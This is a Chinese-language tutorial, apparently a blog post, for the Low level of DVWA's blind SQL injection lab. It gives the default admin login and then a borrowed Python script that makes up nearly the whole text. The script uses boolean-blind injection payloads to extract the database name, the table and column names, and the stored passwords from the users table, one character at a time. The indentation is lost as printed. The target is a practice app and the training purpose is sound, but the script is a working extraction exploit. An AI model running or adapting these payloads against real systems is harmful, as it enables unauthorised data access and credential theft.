一.Low篇;
1.进入DVWA;
(账号:admin 密码:password)
2.将等级改为Low;
进入SQL Injection(Blind),分别输入1,1',a分别查看结果;
经过尝试可知其为数字型注入;
根据源码
3.使用脚本进行爆破;
这里需要学习python,可以慢慢学习,先借用大佬的脚步进行爆破
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import requests
# 脚本里用到的参数
# databaseLen 库名长度
# databse_name 库名
# tableNum 表的数量
# tableLen 表名长度
# table_name 表名
s = requests.Session()
url = '--------------------------'#这里需要填写自己的
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890_'
# 这里为节约时间只包含小写字母与数字,实际可能还有大写字母与符号
headers = {'Cookie': 'PHPSESSID=5m3soj7e5vvd2g9ffci0vb2fm6; security=low'}
# 因为dvwa需要登陆,所以要在头部里加入cookie
# 可以使用Burp
# 1.先爆破库名的长度,以提高后续循环的效率,也可以不爆破长度,直接爆破名称(只要循环数大于长度)
for j in range(1, 50):
databaseLen_payload = '?id=1\' and length(database())=' + str(j) + ' %23&Submit=Submit#'
# 所有payload里的注释#要用url编码表示,因为这是直接添加在url里的
if 'User ID exists in the database.' in s.get(url + databaseLen_payload, headers=headers).text:
databaseLen = j
break
print('database_lenth: ' + str(databaseLen))
# 2.爆库名
databse_name = ''
for j in range(1, databaseLen + 1):
for i in payloads:
databse_payload = '?id=1\' and substr(database(),' + str(j) + ',1)=\'' + str(i) + '\' %23&Submit=Submit#'
#print(databse_payload)
if 'User ID exists in the database.' in s.get(url + databse_payload, headers=headers).text:
databse_name += i
break
print('database_name: ' + databse_name)
# 3.爆破表的个数
for j in range(1, 50):
tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())=' + str(
j) + ' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url + tableNum_payload, headers=headers).text:
tableNum = j
break
print('tableNum: ' + str(tableNum))
# 4.爆出所有的表名
# (1)爆出各个表名的长度
for j in range(0, tableNum):
table_name = ''
for i in range(1, 50):
tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit ' + str(
j) + ',1),1))=' + str(i) + ' %23&Submit=Submit#'
# 用法substr('This is a test', 6) 返回'is a test'
if 'User ID exists in the database.' in s.get(url + tableLen_payload, headers=headers).text:
tableLen = i
print('table' + str(j + 1) + '_length: ' + str(tableLen))
# (2)内部循环爆破每个表的表名
for m in range(1, tableLen + 1):
for n in payloads: # i在上个循环用过了
table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit ' + str(
j) + ',1),' + str(m) + ',1)=\'' + str(n) + '\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url + table_payload, headers=headers).text:
table_name += n
break
print('table' + str(j + 1) + '_name: ' + table_name)
columnNum = 0
for j in range(50):
#选取users表进行爆破
columnNum_payload = '?id=1\' and (select count(column_name) from information_schema.columns where table_name=\'users\' AND TABLE_SCHEMA =\'dvwa\' )=' + str(
j) + ' %23&Submit=Submit#'
#print(columnNum_payload)
if 'User ID exists in the database.' in s.get(url + columnNum_payload, headers=headers).text:
columnNum = j
break
print('columnNum: ' + str(columnNum))
# 2.爆出每个字段名的长度
for j in range(0, columnNum):
column_name = ''
for i in range(1, 50):
columnLen_payload = '?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'users\' limit ' + str(
j) + ',1),1))=' + str(i) + ' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url + columnLen_payload, headers=headers).text:
columnLen = i
print('column' + str(j + 1) + '_length: ' + str(columnLen))
# (2)内部循环爆破每个表的表名
for m in range(1, columnLen + 1):
for n in payloads: # i在上个循环用过了
column_payload = '?id=1\' and substr((select column_name from information_schema.columns where table_name=\'users\' limit ' + str(
j) + ',1),' + str(m) + ',1)=\'' + str(n) + '\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url + column_payload, headers=headers).text:
column_name += n
break
print('column' + str(j + 1) + '_name: ' + column_name)
rowNum = 0
for j in range(50):
rowNum_payload = '?id=1\' and (select count(*) from users)='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowNum_payload, headers=headers).text:
rowNum = j
print("row_number: "+str(rowNum))
# 先爆每个字段值长度,以便控制循环,提高效率,也可省略此步骤,但要保证循环大于字段长度
for j in range(0,rowNum+1):
rowContent = ''
for i in range(50):
#rowLen_payload = '?id=1\' and length(substr(select flag from flagishere limit '+str(j)+',1),1)='+str(i)+' %23&Submit=Submit#'
rowLen_payload = '?id=1\' and length(substr((select password from users limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowLen_payload, headers=headers).text:
rowLen = i
print('row'+str(j+1)+'_length: '+str(rowLen))
#爆出个字段内容
for m in range(1,rowLen+1):
for n in payloads:
rowContent_payload = '?id=1\' and substr((select password from users limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowContent_payload, headers=headers).text:
rowContent += n
break
print('row'+str(j+1)+'_content: '+rowContent)
在终端运行即可获取到库名,表名,列名等;